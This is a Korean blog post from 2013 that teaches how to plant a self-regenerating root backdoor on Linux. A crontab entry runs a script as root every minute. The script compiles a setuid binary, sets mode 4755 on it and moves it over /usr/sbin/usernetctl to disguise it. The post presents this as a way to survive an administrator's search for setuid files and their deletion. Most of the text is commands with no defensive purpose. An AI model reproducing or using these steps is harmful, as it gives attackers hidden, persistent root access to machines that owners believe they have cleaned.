시스템보안(지식창고)

cron 데몬을 이용한 백도어 생성

컴공 2013. 2. 15. 22:12
반응형

cron 데몬은 대형서버에서 접속자가 없는 새벽시간에 자동으로 서버를 백업하기 위한 목적(반복성 작업 예약 목적)으로 쓰였습니다. 그러나 해커들은 이를 악용하여 자동으로 백도어를 생성하는 방법을 개발하였습니다.

Cron 데몬을 이용한 백도어 만들기

Cron데몬을 이용하여 백도어를 만든다면, 관리자가

#find / -user root -perm +4000 명령어를 통해 setuid가 설정된 백도어를 찾아 이를 삭제한다 해도, 설정한 주기가 지난 후에 자동으로 백도어가 다시 생성되게 할 수 있습니다.

#vi /etc/crontab 을 쳐보면 다음과 같은 화면이 뜹니다.

여기서 특정 파일을 특정 시간에 특정 사용자 권한으로 실행시키도록 설정할 수 있습니다.

설정의 기본 틀은 이렇습니다.

* * * * * 사용자명 실행할 파일명

여기서 앞의 별 다섯개는 차례대로 분, 시, 일, 월, 요일을 의미합니다.

반드시 각 요소 사이는 띄어 주어야 하며, *로 표시할 경우 매 분/시/일/월/요일 마다 실행시킨다는 것을 의미합니다.

예를들어, abc.sh 파일을 root권한으로 매년 1월 2일 3시 4분에 실행시고자 한다면

4 3 2 1 * root abc.sh 라고하시면 됩니다.

* * * * * 로 둘 경우 매 분마다 파일을 실행시키게 됩니다.

그럼 백도어를 자동으로 만들어주는 파일을 cron데몬에서 주기적으로 실행시키도록 설정해봅니다.

아래 그림과 같이 맨 밑 줄에

* * * * * root /etc/cron.d/set.sh

를 입력한 후 :wq!로 저장하고 나갑니다.

이는 set.sh를 매 분마다 실행시키도록 하는 것을 의미합니다.

앞에 #를 붙이면 주석처리 되어 무시되므로 절대 붙이시면 안됩니다.

또 이때 실행할 파일은 반드시 설정된 사용자에게 실행 권한이 부여된 실행파일이어야 합니다.

설정한 후 cd /etc/cron.d 로 해당 폴더에 가서

#vi set.sh로 set.sh 파일을 만들어 엽니다.

그리고 그 안에 다음 코드를 입력합니다.

gcc -o backexec /tmp/backexec.c

chmod 4755 backexec

mv backexec /usr/sbin/usernetctl

입력후 :wq!로 저장하고 나가줍니다.

set.sh파일은 root에게 실행권한이 있어야 하므로

#chmod 755 set.sh 를 쳐줍니다.

이제 backexec.c(setuid를 이용한 백도어만들기(2)에서 만들었던)를 tmp폴더 안에 넣어주고,

#service crond restart 로 cron 데몬을 재시작해줍니다.

지금까지의 과정이 모두 성공적으로 끝났다면 usernetctl 파일은 관리자가 crontab파일에서 코드를 지우거나 tmp 폴더안의 backexec.c 또는 set.sh를 지우지 않는 한 지워져도 무한히 재생성되는 벡도어가 되었습니다.

한번 usernetctl 파일을 검색하고 지운후, 재생성되는지 확인해보겠습니다.

얼마 후 재검색해보니 usernetctl 파일이 또 다시 나타난것을 보실 수 있습니다.

벡도어 이용은 기존과 같은 방법으로 하시면 되겠습니다.

반응형